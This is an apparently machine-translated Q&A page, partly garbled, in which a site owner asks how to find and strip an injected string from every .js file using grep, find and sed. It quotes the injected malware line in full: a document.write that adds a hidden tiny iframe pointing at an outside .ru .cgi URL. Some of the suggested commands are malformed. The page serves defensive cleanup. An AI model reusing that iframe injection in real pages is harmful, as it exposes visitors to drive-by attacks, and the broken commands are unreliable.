Shell 使用ssh unix查找并删除所有*.js文件中的字符串?
我试图在所有js文件(递归地在所有子文件夹中)中找到一个字符串,如果可能的话删除该字符串,并显示处理了哪个文件(这样我以后可以检查它) 我能找到绳子Shell 使用ssh unix查找并删除所有*.js文件中的字符串?,shell,unix,ssh,Shell,Unix,Ssh,我试图在所有js文件(递归地在所有子文件夹中)中找到一个字符串,如果可能的话删除该字符串,并显示处理了哪个文件(这样我以后可以检查它) 我能找到绳子 grep -lr --include="*.js" "antivirusesratings.ru" . 因此:(不确定这两种方法之间是否有区别?) 因此,也许最后一个示例可以修改,以便它也删除字符串。 现在我想起来了。我要删除的字符串有引号。没有关于如何处理下面的字符串的线索,我真的想把它到处删除 ;document.write('<ifr
grep -lr --include="*.js" "antivirusesratings.ru" .
因此:(不确定这两种方法之间是否有区别?)
因此,也许最后一个示例可以修改,以便它也删除字符串。
现在我想起来了。我要删除的字符串有引号。没有关于如何处理下面的字符串的线索,我真的想把它到处删除
;document.write('<iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>')
;文件。写入(“”)
提前谢谢。
我真的很感激
问候,
Gosa
ssh
可以接收命令作为最后一个参数,因此您应该在那里提供super-duper命令来执行清理
为了清理文件,我认为最好将find
的-exec
参数与一些grep
和输出重定向结合起来
比如说,对于找到的每个文件,grep-v aughous\u LINE$file>$file
,或者类似的东西(我认为您可能必须使用一个临时文件,因为该文件重定向到它本身不起作用的IIRC)
使用重定向尝试
grep
,然后将其与find
相结合,最后(可能需要一些转义)您应该将其放在ssh
中以执行您想要的操作。我在unix.stackexchange.com上找到了一个函数,它解决了相同的问题:
它使用grep
查找所有包含特定字符串的文件(这是antivirusesratings.ru
)。然后,它使用d
命令(行删除)将这些结果导入sed
,以删除包含该字符串的行
像往常一样,在运行该脚本以批量替换文件之前,请确保备份目录。我认为这就是您想要的:
find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}
为什么ssh出现在标题中?您在问题描述中没有引用。祝您好运。您好,如何将您的代码与以下代码一起使用,而不是仅使用antivirusesratings.ru作为字符串来搜索和删除;文件。写入(“”)
find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}